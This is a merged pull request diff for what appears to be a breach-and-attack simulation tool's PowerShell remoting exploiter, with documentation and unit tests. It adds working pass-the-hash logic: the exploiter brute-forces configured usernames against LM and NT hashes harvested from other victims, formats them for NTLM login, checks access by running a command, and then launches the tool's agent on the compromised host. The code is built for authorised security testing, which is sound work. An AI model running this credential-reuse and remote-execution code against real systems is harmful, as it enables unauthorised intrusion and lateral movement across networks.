Merge pull request #1449 from guardicore/powershell-exploiter-ntlm-hashes
Use LM and NT hashes in powershell exploiter
This commit is contained in:
commit
dec2fc43c2
|
@ -22,8 +22,9 @@ The PowerShell exploiter can be run from both Linux and Windows attackers. On
|
||||||
Windows attackers, the exploiter has the ability to use the cached username
|
Windows attackers, the exploiter has the ability to use the cached username
|
||||||
and/or password from the current user. On both Linux and Windows attackers, the
|
and/or password from the current user. On both Linux and Windows attackers, the
|
||||||
exploiter uses all combinations of the [user-configured usernames and
|
exploiter uses all combinations of the [user-configured usernames and
|
||||||
passwords]({{< ref "/usage/configuration/basic-credentials" >}}). Different
|
passwords]({{< ref "/usage/configuration/basic-credentials" >}}), as well as
|
||||||
combinations of credentials are attempted in the following order:
|
and LM or NT hashes that have been collected. Different combinations of
|
||||||
|
credentials are attempted in the following order:
|
||||||
|
|
||||||
1. **Cached username and password (Windows attacker only)** - The exploiter will
|
1. **Cached username and password (Windows attacker only)** - The exploiter will
|
||||||
use the stored credentials of the current user to attempt to log into the
|
use the stored credentials of the current user to attempt to log into the
|
||||||
|
@ -47,6 +48,16 @@ combinations of credentials are attempted in the following order:
|
||||||
all combinations of usernames and passwords that were set in the
|
all combinations of usernames and passwords that were set in the
|
||||||
[configuration.]({{< ref "/usage/configuration/basic-credentials" >}})
|
[configuration.]({{< ref "/usage/configuration/basic-credentials" >}})
|
||||||
|
|
||||||
|
1. **Brute force usernames and LM hashes** - The exploiter will attempt to use
|
||||||
|
all combinations of usernames that were set in the [configuration]({{< ref
|
||||||
|
"/usage/configuration/basic-credentials" >}}) and LM hashes that were
|
||||||
|
collected from any other victims.
|
||||||
|
|
||||||
|
1. **Brute force usernames and NT hashes** - The exploiter will attempt to use
|
||||||
|
all combinations of usernames that were set in the [configuration]({{< ref
|
||||||
|
"/usage/configuration/basic-credentials" >}}) and NT hashes that were
|
||||||
|
collected from any other victims.
|
||||||
|
|
||||||
|
|
||||||
#### Securing PowerShell Remoting
|
#### Securing PowerShell Remoting
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ class PowerShell(ConfigTemplate):
|
||||||
"internal.classes.finger_classes": ["PingScanner"],
|
"internal.classes.finger_classes": ["PingScanner"],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
"internal.network.tcp_scanner.tcp_target_ports": [],
|
||||||
"internal.classes.exploits.exploit_ntlm_hash_list": [
|
"internal.exploits.exploit_ntlm_hash_list": [
|
||||||
"d0f0132b308a0c4e5d1029cc06f48692",
|
"d0f0132b308a0c4e5d1029cc06f48692",
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
|
|
|
@ -6,21 +6,25 @@ import infection_monkey.monkeyfs as monkeyfs
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.consts import WIN_ARCH_32
|
from infection_monkey.exploit.consts import WIN_ARCH_32
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.powershell_utils import utils
|
|
||||||
from infection_monkey.exploit.powershell_utils.auth_options import (
|
from infection_monkey.exploit.powershell_utils.auth_options import (
|
||||||
AUTH_NEGOTIATE,
|
AUTH_NEGOTIATE,
|
||||||
ENCRYPTION_AUTO,
|
ENCRYPTION_AUTO,
|
||||||
AuthOptions,
|
AuthOptions,
|
||||||
get_auth_options,
|
get_auth_options,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials
|
from infection_monkey.exploit.powershell_utils.credentials import (
|
||||||
|
Credentials,
|
||||||
|
SecretType,
|
||||||
|
get_credentials,
|
||||||
|
)
|
||||||
from infection_monkey.exploit.powershell_utils.powershell_client import (
|
from infection_monkey.exploit.powershell_utils.powershell_client import (
|
||||||
AuthenticationError,
|
AuthenticationError,
|
||||||
IPowerShellClient,
|
IPowerShellClient,
|
||||||
PowerShellClient,
|
PowerShellClient,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||||
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -49,7 +53,11 @@ class PowerShellExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
credentials = get_credentials(
|
credentials = get_credentials(
|
||||||
self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os()
|
self._config.exploit_user_list,
|
||||||
|
self._config.exploit_password_list,
|
||||||
|
self._config.exploit_lm_hash_list,
|
||||||
|
self._config.exploit_ntlm_hash_list,
|
||||||
|
is_windows_os(),
|
||||||
)
|
)
|
||||||
auth_options = get_auth_options(credentials, is_https)
|
auth_options = get_auth_options(credentials, is_https)
|
||||||
|
|
||||||
|
@ -88,7 +96,8 @@ class PowerShellExploiter(HostExploiter):
|
||||||
def _try_ssl_login(self, use_ssl: bool):
|
def _try_ssl_login(self, use_ssl: bool):
|
||||||
credentials = Credentials(
|
credentials = Credentials(
|
||||||
username="dummy_username",
|
username="dummy_username",
|
||||||
password="dummy_password",
|
secret="dummy_password",
|
||||||
|
secret_type=SecretType.PASSWORD,
|
||||||
)
|
)
|
||||||
|
|
||||||
auth_options = AuthOptions(
|
auth_options = AuthOptions(
|
||||||
|
@ -103,24 +112,41 @@ class PowerShellExploiter(HostExploiter):
|
||||||
self, credentials: List[Credentials], auth_options: List[AuthOptions]
|
self, credentials: List[Credentials], auth_options: List[AuthOptions]
|
||||||
) -> Optional[IPowerShellClient]:
|
) -> Optional[IPowerShellClient]:
|
||||||
for (creds, opts) in zip(credentials, auth_options):
|
for (creds, opts) in zip(credentials, auth_options):
|
||||||
try:
|
|
||||||
client = PowerShellClient(self.host.ip_addr, creds, opts)
|
client = PowerShellClient(self.host.ip_addr, creds, opts)
|
||||||
|
if self._is_client_auth_valid(creds, client):
|
||||||
|
return client
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool:
|
||||||
|
try:
|
||||||
|
# attempt to execute dir command to know if authentication was successful
|
||||||
|
client.execute_cmd("dir")
|
||||||
|
|
||||||
logger.info(
|
logger.info(
|
||||||
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
||||||
f"{creds.username}"
|
f"{creds.username}, Secret Type: {creds.secret_type.name}"
|
||||||
)
|
)
|
||||||
self.report_login_attempt(True, creds.username, creds.password)
|
self._report_login_attempt(True, creds)
|
||||||
|
|
||||||
return client
|
return True
|
||||||
except Exception as ex: # noqa: F841
|
except Exception as ex: # noqa: F841
|
||||||
logger.debug(
|
logger.debug(
|
||||||
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
||||||
f"{creds.username}, Error: {ex}"
|
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
|
||||||
)
|
)
|
||||||
self.report_login_attempt(False, creds.username, creds.password)
|
self._report_login_attempt(False, creds)
|
||||||
|
return False
|
||||||
|
|
||||||
return None
|
def _report_login_attempt(self, result: bool, credentials: Credentials):
|
||||||
|
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
|
||||||
|
self.report_login_attempt(result, credentials.username, password=credentials.secret)
|
||||||
|
elif credentials.secret_type == SecretType.LM_HASH:
|
||||||
|
self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret)
|
||||||
|
elif credentials.secret_type == SecretType.NT_HASH:
|
||||||
|
self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret)
|
||||||
|
else:
|
||||||
|
raise ValueError(f"Unknown secret type {credentials.secret_type}")
|
||||||
|
|
||||||
def _execute_monkey_agent_on_victim(self) -> bool:
|
def _execute_monkey_agent_on_victim(self) -> bool:
|
||||||
arch = self._client.get_host_architecture()
|
arch = self._client.get_host_architecture()
|
||||||
|
@ -167,7 +193,7 @@ class PowerShellExploiter(HostExploiter):
|
||||||
monkey_local_file.write(monkey_virtual_file.read())
|
monkey_local_file.write(monkey_virtual_file.read())
|
||||||
|
|
||||||
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
||||||
monkey_execution_command = utils.build_monkey_execution_command(
|
monkey_execution_command = build_monkey_execution_command(
|
||||||
self.host, get_monkey_depth() - 1, executable_path
|
self.host, get_monkey_depth() - 1, executable_path
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -176,3 +202,18 @@ class PowerShellExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
self._client.execute_cmd_as_detached_process(monkey_execution_command)
|
self._client.execute_cmd_as_detached_process(monkey_execution_command)
|
||||||
|
|
||||||
|
|
||||||
|
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
|
||||||
|
monkey_params = build_monkey_commandline(
|
||||||
|
target_host=host,
|
||||||
|
depth=depth,
|
||||||
|
vulnerable_port=None,
|
||||||
|
location=executable_path,
|
||||||
|
)
|
||||||
|
|
||||||
|
return RUN_MONKEY % {
|
||||||
|
"monkey_path": executable_path,
|
||||||
|
"monkey_type": DROPPER_ARG,
|
||||||
|
"parameters": monkey_params,
|
||||||
|
}
|
||||||
|
|
|
@ -21,9 +21,9 @@ def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[Auth
|
||||||
|
|
||||||
for creds in credentials:
|
for creds in credentials:
|
||||||
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
|
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
|
||||||
ssl = False if creds.password == "" else use_ssl
|
ssl = False if creds.secret == "" else use_ssl
|
||||||
auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE
|
auth_type = AUTH_BASIC if creds.secret == "" else AUTH_NEGOTIATE
|
||||||
encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO
|
encryption = ENCRYPTION_NEVER if creds.secret == "" else ENCRYPTION_AUTO
|
||||||
|
|
||||||
auth_options.append(AuthOptions(auth_type, encryption, ssl))
|
auth_options.append(AuthOptions(auth_type, encryption, ssl))
|
||||||
|
|
||||||
|
|
|
@ -1,21 +1,36 @@
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
from enum import Enum
|
||||||
from itertools import product
|
from itertools import product
|
||||||
from typing import List, Union
|
from typing import List, Union
|
||||||
|
|
||||||
|
|
||||||
|
class SecretType(Enum):
|
||||||
|
CACHED = 1
|
||||||
|
PASSWORD = 2
|
||||||
|
LM_HASH = 3
|
||||||
|
NT_HASH = 4
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
class Credentials:
|
class Credentials:
|
||||||
username: Union[str, None]
|
username: Union[str, None]
|
||||||
password: Union[str, None]
|
secret: Union[str, None]
|
||||||
|
secret_type: SecretType
|
||||||
|
|
||||||
|
|
||||||
def get_credentials(
|
def get_credentials(
|
||||||
usernames: List[str], passwords: List[str], is_windows: bool
|
usernames: List[str],
|
||||||
|
passwords: List[str],
|
||||||
|
lm_hashes: List[str],
|
||||||
|
nt_hashes: List[str],
|
||||||
|
is_windows: bool,
|
||||||
) -> List[Credentials]:
|
) -> List[Credentials]:
|
||||||
credentials = []
|
credentials = []
|
||||||
credentials.extend(_get_empty_credentials(is_windows))
|
credentials.extend(_get_empty_credentials(is_windows))
|
||||||
credentials.extend(_get_username_only_credentials(usernames, is_windows))
|
credentials.extend(_get_username_only_credentials(usernames, is_windows))
|
||||||
credentials.extend(_get_username_password_credentials(usernames, passwords))
|
credentials.extend(_get_username_password_credentials(usernames, passwords))
|
||||||
|
credentials.extend(_get_username_lm_hash_credentials(usernames, lm_hashes))
|
||||||
|
credentials.extend(_get_username_nt_hash_credentials(usernames, nt_hashes))
|
||||||
|
|
||||||
return credentials
|
return credentials
|
||||||
|
|
||||||
|
@ -24,7 +39,7 @@ def get_credentials(
|
||||||
# will be used to attempt to log into the victim.
|
# will be used to attempt to log into the victim.
|
||||||
def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
|
def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
|
||||||
if is_windows:
|
if is_windows:
|
||||||
return [Credentials(username=None, password=None)]
|
return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)]
|
||||||
|
|
||||||
return []
|
return []
|
||||||
|
|
||||||
|
@ -32,11 +47,17 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
|
||||||
# On Windows systems, when password == None, the current user's password will bu used to attempt to
|
# On Windows systems, when password == None, the current user's password will bu used to attempt to
|
||||||
# log into the victim.
|
# log into the victim.
|
||||||
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]:
|
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]:
|
||||||
credentials = [Credentials(username=username, password="") for username in usernames]
|
credentials = [
|
||||||
|
Credentials(username=username, secret="", secret_type=SecretType.PASSWORD)
|
||||||
|
for username in usernames
|
||||||
|
]
|
||||||
|
|
||||||
if is_windows:
|
if is_windows:
|
||||||
credentials.extend(
|
credentials.extend(
|
||||||
[Credentials(username=username, password=None) for username in usernames]
|
[
|
||||||
|
Credentials(username=username, secret=None, secret_type=SecretType.CACHED)
|
||||||
|
for username in usernames
|
||||||
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
return credentials
|
return credentials
|
||||||
|
@ -45,6 +66,27 @@ def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> Li
|
||||||
def _get_username_password_credentials(
|
def _get_username_password_credentials(
|
||||||
usernames: List[str], passwords: List[str]
|
usernames: List[str], passwords: List[str]
|
||||||
) -> List[Credentials]:
|
) -> List[Credentials]:
|
||||||
username_password_pairs = product(usernames, passwords)
|
return _get_username_secret_credentials(usernames, passwords, SecretType.PASSWORD)
|
||||||
|
|
||||||
return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs]
|
|
||||||
|
def _get_username_lm_hash_credentials(
|
||||||
|
usernames: List[str], lm_hashes: List[str]
|
||||||
|
) -> List[Credentials]:
|
||||||
|
return _get_username_secret_credentials(usernames, lm_hashes, SecretType.LM_HASH)
|
||||||
|
|
||||||
|
|
||||||
|
def _get_username_nt_hash_credentials(
|
||||||
|
usernames: List[str], nt_hashes: List[str]
|
||||||
|
) -> List[Credentials]:
|
||||||
|
return _get_username_secret_credentials(usernames, nt_hashes, SecretType.NT_HASH)
|
||||||
|
|
||||||
|
|
||||||
|
def _get_username_secret_credentials(
|
||||||
|
usernames: List[str], secrets: List[str], secret_type: SecretType
|
||||||
|
) -> List[Credentials]:
|
||||||
|
username_secret_pairs = product(usernames, secrets)
|
||||||
|
|
||||||
|
return [
|
||||||
|
Credentials(credentials[0], credentials[1], secret_type)
|
||||||
|
for credentials in username_secret_pairs
|
||||||
|
]
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
import abc
|
import abc
|
||||||
import logging
|
import logging
|
||||||
from typing import Union
|
from typing import Optional, Union
|
||||||
|
|
||||||
import pypsrp
|
import pypsrp
|
||||||
import spnego
|
import spnego
|
||||||
|
@ -12,7 +12,7 @@ from urllib3 import connectionpool
|
||||||
|
|
||||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials
|
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
|
||||||
from infection_monkey.model import GET_ARCH_WINDOWS
|
from infection_monkey.model import GET_ARCH_WINDOWS
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -27,6 +27,22 @@ def _set_sensitive_packages_log_level_to_error():
|
||||||
logging.getLogger(package.__name__).setLevel(logging.ERROR)
|
logging.getLogger(package.__name__).setLevel(logging.ERROR)
|
||||||
|
|
||||||
|
|
||||||
|
def format_password(credentials: Credentials) -> Optional[str]:
|
||||||
|
if credentials.secret_type == SecretType.CACHED:
|
||||||
|
return None
|
||||||
|
|
||||||
|
if credentials.secret_type == SecretType.PASSWORD:
|
||||||
|
return credentials.secret
|
||||||
|
|
||||||
|
if credentials.secret_type == SecretType.LM_HASH:
|
||||||
|
return f"{credentials.secret}:00000000000000000000000000000000"
|
||||||
|
|
||||||
|
if credentials.secret_type == SecretType.NT_HASH:
|
||||||
|
return f"00000000000000000000000000000000:{credentials.secret}"
|
||||||
|
|
||||||
|
raise ValueError(f"Unknown secret type {credentials.secret_type}")
|
||||||
|
|
||||||
|
|
||||||
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
|
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def execute_cmd(self, cmd: str) -> str:
|
def execute_cmd(self, cmd: str) -> str:
|
||||||
|
@ -53,7 +69,7 @@ class PowerShellClient(IPowerShellClient):
|
||||||
self._client = Client(
|
self._client = Client(
|
||||||
ip_addr,
|
ip_addr,
|
||||||
username=credentials.username,
|
username=credentials.username,
|
||||||
password=credentials.password,
|
password=format_password(credentials),
|
||||||
cert_validation=False,
|
cert_validation=False,
|
||||||
auth=auth_options.auth_type,
|
auth=auth_options.auth_type,
|
||||||
encryption=auth_options.encryption,
|
encryption=auth_options.encryption,
|
||||||
|
@ -61,16 +77,13 @@ class PowerShellClient(IPowerShellClient):
|
||||||
connection_timeout=CONNECTION_TIMEOUT,
|
connection_timeout=CONNECTION_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
||||||
# attempt to execute dir command to know if authentication was successful
|
|
||||||
self.execute_cmd("dir")
|
|
||||||
|
|
||||||
def execute_cmd(self, cmd: str) -> str:
|
def execute_cmd(self, cmd: str) -> str:
|
||||||
output, _, _ = self._client.execute_cmd(cmd)
|
output, _, _ = self._client.execute_cmd(cmd)
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
|
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
|
||||||
output = self._client.execute_cmd(GET_ARCH_WINDOWS)
|
stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS)
|
||||||
if "64-bit" in output:
|
if "64-bit" in stdout:
|
||||||
return WIN_ARCH_64
|
return WIN_ARCH_64
|
||||||
|
|
||||||
return WIN_ARCH_32
|
return WIN_ARCH_32
|
||||||
|
|
|
@ -1,17 +0,0 @@
|
||||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
|
|
||||||
monkey_params = build_monkey_commandline(
|
|
||||||
target_host=host,
|
|
||||||
depth=depth,
|
|
||||||
vulnerable_port=None,
|
|
||||||
location=executable_path,
|
|
||||||
)
|
|
||||||
|
|
||||||
return RUN_MONKEY % {
|
|
||||||
"monkey_path": executable_path,
|
|
||||||
"monkey_type": DROPPER_ARG,
|
|
||||||
"parameters": monkey_params,
|
|
||||||
}
|
|
|
@ -6,12 +6,12 @@ from infection_monkey.exploit.powershell_utils.auth_options import (
|
||||||
ENCRYPTION_NEVER,
|
ENCRYPTION_NEVER,
|
||||||
get_auth_options,
|
get_auth_options,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials
|
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
|
||||||
|
|
||||||
CREDENTIALS = [
|
CREDENTIALS = [
|
||||||
Credentials("user1", "password1"),
|
Credentials("user1", "password1", SecretType.PASSWORD),
|
||||||
Credentials("user2", ""),
|
Credentials("user2", "", SecretType.PASSWORD),
|
||||||
Credentials("user3", None),
|
Credentials("user3", None, SecretType.CACHED),
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,44 +1,97 @@
|
||||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials
|
from infection_monkey.exploit.powershell_utils.credentials import (
|
||||||
|
Credentials,
|
||||||
|
SecretType,
|
||||||
|
get_credentials,
|
||||||
|
)
|
||||||
|
|
||||||
TEST_USERNAMES = ["user1", "user2"]
|
TEST_USERNAMES = ["user1", "user2"]
|
||||||
TEST_PASSWORDS = ["p1", "p2"]
|
TEST_PASSWORDS = ["p1", "p2"]
|
||||||
|
TEST_LM_HASHES = ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"]
|
||||||
|
TEST_NT_HASHES = ["cccccccccccccccccccccccccccccccc", "dddddddddddddddddddddddddddddddd"]
|
||||||
|
|
||||||
|
|
||||||
def test_get_credentials__empty_windows_true():
|
def test_get_credentials__empty_windows_true():
|
||||||
credentials = get_credentials([], [], True)
|
credentials = get_credentials([], [], [], [], True)
|
||||||
|
|
||||||
assert len(credentials) == 1
|
assert len(credentials) == 1
|
||||||
assert credentials[0] == Credentials(username=None, password=None)
|
assert credentials[0] == Credentials(username=None, secret=None, secret_type=SecretType.CACHED)
|
||||||
|
|
||||||
|
|
||||||
def test_get_credentials__empty_windows_false():
|
def test_get_credentials__empty_windows_false():
|
||||||
credentials = get_credentials([], [], False)
|
credentials = get_credentials([], [], [], [], False)
|
||||||
|
|
||||||
assert len(credentials) == 0
|
assert len(credentials) == 0
|
||||||
|
|
||||||
|
|
||||||
def test_get_credentials__username_only_windows_true():
|
def test_get_credentials__username_only_windows_true():
|
||||||
credentials = get_credentials(TEST_USERNAMES, [], True)
|
credentials = get_credentials(TEST_USERNAMES, [], [], [], True)
|
||||||
|
|
||||||
assert len(credentials) == 5
|
assert len(credentials) == 5
|
||||||
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials
|
assert (
|
||||||
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials
|
Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD)
|
||||||
assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials
|
in credentials
|
||||||
assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials
|
)
|
||||||
|
assert (
|
||||||
|
Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
assert (
|
||||||
|
Credentials(username=TEST_USERNAMES[0], secret=None, secret_type=SecretType.CACHED)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
assert (
|
||||||
|
Credentials(username=TEST_USERNAMES[1], secret=None, secret_type=SecretType.CACHED)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_get_credentials__username_only_windows_false():
|
def test_get_credentials__username_only_windows_false():
|
||||||
credentials = get_credentials(TEST_USERNAMES, [], False)
|
credentials = get_credentials(TEST_USERNAMES, [], [], [], False)
|
||||||
|
|
||||||
assert len(credentials) == 2
|
assert len(credentials) == 2
|
||||||
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials
|
assert (
|
||||||
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials
|
Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
assert (
|
||||||
|
Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_get_credentials__username_password_windows_true():
|
def test_get_credentials__username_password_windows_true():
|
||||||
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True)
|
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, [], [], True)
|
||||||
|
|
||||||
assert len(credentials) == 9
|
assert len(credentials) == 9
|
||||||
for user in TEST_USERNAMES:
|
for user in TEST_USERNAMES:
|
||||||
for password in TEST_PASSWORDS:
|
for password in TEST_PASSWORDS:
|
||||||
assert Credentials(username=user, password=password) in credentials
|
assert (
|
||||||
|
Credentials(username=user, secret=password, secret_type=SecretType.PASSWORD)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_credentials__username_lm_hash_windows_false():
|
||||||
|
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], False)
|
||||||
|
|
||||||
|
assert len(credentials) == 10
|
||||||
|
for user in TEST_USERNAMES:
|
||||||
|
for lm_hash in TEST_LM_HASHES:
|
||||||
|
assert (
|
||||||
|
Credentials(username=user, secret=lm_hash, secret_type=SecretType.LM_HASH)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_credentials__username_nt_hash_windows_false():
|
||||||
|
credentials = get_credentials(
|
||||||
|
TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, False
|
||||||
|
)
|
||||||
|
|
||||||
|
assert len(credentials) == 14
|
||||||
|
for user in TEST_USERNAMES:
|
||||||
|
for nt_hash in TEST_NT_HASHES:
|
||||||
|
assert (
|
||||||
|
Credentials(username=user, secret=nt_hash, secret_type=SecretType.NT_HASH)
|
||||||
|
in credentials
|
||||||
|
)
|
||||||
|
|
|
@ -0,0 +1,52 @@
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
|
||||||
|
from infection_monkey.exploit.powershell_utils.powershell_client import format_password
|
||||||
|
|
||||||
|
|
||||||
|
def test_format_cached_credentials():
|
||||||
|
expected = None
|
||||||
|
creds = Credentials("test_user", expected, SecretType.CACHED)
|
||||||
|
|
||||||
|
actual = format_password(creds)
|
||||||
|
|
||||||
|
assert expected == actual
|
||||||
|
|
||||||
|
|
||||||
|
def test_format_password():
|
||||||
|
expected = "test_password"
|
||||||
|
creds = Credentials("test_user", expected, SecretType.PASSWORD)
|
||||||
|
|
||||||
|
actual = format_password(creds)
|
||||||
|
|
||||||
|
assert expected == actual
|
||||||
|
|
||||||
|
|
||||||
|
def test_format_lm_hash():
|
||||||
|
lm_hash = "c080132b6f2a0c4e5d1029cc06f48a92"
|
||||||
|
expected = f"{lm_hash}:00000000000000000000000000000000"
|
||||||
|
|
||||||
|
creds = Credentials("test_user", lm_hash, SecretType.LM_HASH)
|
||||||
|
|
||||||
|
actual = format_password(creds)
|
||||||
|
|
||||||
|
assert expected == actual
|
||||||
|
|
||||||
|
|
||||||
|
def test_format_nt_hash():
|
||||||
|
nt_hash = "c080132b6f2a0c4e5d1029cc06f48a92"
|
||||||
|
expected = f"00000000000000000000000000000000:{nt_hash}"
|
||||||
|
|
||||||
|
creds = Credentials("test_user", nt_hash, SecretType.NT_HASH)
|
||||||
|
|
||||||
|
actual = format_password(creds)
|
||||||
|
|
||||||
|
assert expected == actual
|
||||||
|
|
||||||
|
|
||||||
|
def test_invalid_secret_type():
|
||||||
|
|
||||||
|
creds = Credentials("test_user", "secret", "Bogus_Secret")
|
||||||
|
|
||||||
|
with pytest.raises(ValueError):
|
||||||
|
format_password(creds)
|
|
@ -1,13 +0,0 @@
|
||||||
from infection_monkey.exploit.powershell_utils import utils
|
|
||||||
from infection_monkey.model.host import VictimHost
|
|
||||||
|
|
||||||
|
|
||||||
def test_build_monkey_execution_command():
|
|
||||||
host = VictimHost("127.0.0.1")
|
|
||||||
depth = 2
|
|
||||||
executable_path = "/tmp/test-monkey"
|
|
||||||
|
|
||||||
cmd = utils.build_monkey_execution_command(host, depth, executable_path)
|
|
||||||
|
|
||||||
assert f"-d {depth}" in cmd
|
|
||||||
assert executable_path in cmd
|
|
|
@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost
|
||||||
|
|
||||||
USER_LIST = ["user1", "user2"]
|
USER_LIST = ["user1", "user2"]
|
||||||
PASSWORD_LIST = ["pass1", "pass2"]
|
PASSWORD_LIST = ["pass1", "pass2"]
|
||||||
|
LM_HASH_LIST = ["bogo_lm_1"]
|
||||||
|
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
|
||||||
DROPPER_TARGET_PATH_32 = "C:\\agent32"
|
DROPPER_TARGET_PATH_32 = "C:\\agent32"
|
||||||
DROPPER_TARGET_PATH_64 = "C:\\agent64"
|
DROPPER_TARGET_PATH_64 = "C:\\agent64"
|
||||||
|
|
||||||
|
@ -19,6 +21,8 @@ Config = namedtuple(
|
||||||
[
|
[
|
||||||
"exploit_user_list",
|
"exploit_user_list",
|
||||||
"exploit_password_list",
|
"exploit_password_list",
|
||||||
|
"exploit_lm_hash_list",
|
||||||
|
"exploit_ntlm_hash_list",
|
||||||
"dropper_target_path_win_32",
|
"dropper_target_path_win_32",
|
||||||
"dropper_target_path_win_64",
|
"dropper_target_path_win_64",
|
||||||
],
|
],
|
||||||
|
